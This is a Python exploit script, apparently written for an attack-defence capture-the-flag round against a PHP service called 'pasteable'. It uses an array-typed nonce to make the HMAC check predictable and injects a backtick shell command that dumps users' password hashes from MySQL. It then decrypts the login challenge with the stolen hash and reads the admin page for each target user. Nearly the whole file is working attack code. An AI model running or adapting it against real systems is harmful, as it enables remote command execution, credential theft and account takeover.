import base64
import hmac
import sys

import requests
from Crypto.Cipher import AES

"""
Explanation:

Passing an array as nonce leads to secret false for second hash round.
hash_hmac has the vulnerability to not cancel invalid hash operations.
Thus we can now predict the used secret without knowing the current private secret.
The backtick operator is used. That's why we can now inject our own remote-code into the query.
"""


def get_password_hash(target, username):
    cmd = f">/dev/null; mysql pasteable -e \"SELECT user_pass FROM user_accounts WHERE user_name = '{username}'\"|base64"
    checksum = hmac.new(key=b'', msg=cmd.encode(), digestmod='sha256').hexdigest()
    res = requests.get(
        f"http://{target}:8080/func/ntp.php", params={
            'modifiers': cmd,
            'nonce[]': ['', ''],
            'checksum': checksum})
    tab = base64.b64decode(res.text).decode()
    passwd_hash = tab.strip().splitlines()[-1]
    return passwd_hash


def exploit_one(target, username):
    password_hash = get_password_hash(target, username)
    sess = requests.Session()
    response = sess.post(f'http://{target}:8080/func/challenge.php', data={'username': username})

    challenge = bytes.fromhex(response.text)

    key = bytes.fromhex(password_hash)
    iv = key[:16]
    solution = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(challenge).strip().decode()

    response = sess.post(f'http://{target}:8080/func/login.php', data={'username': username, 'solution': solution})

    assert response.status_code == 200

    return sess.get(f'http://{target}:8080/admin/home/').text


def exploit(target: str, flag_ids_username: list[str]):
    for flag_id in flag_ids_username:
        try:
            print(f'Attacking {flag_id}')
            result = exploit_one(target, flag_id)
            print(result)
        except Exception as e:
            raise e


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))
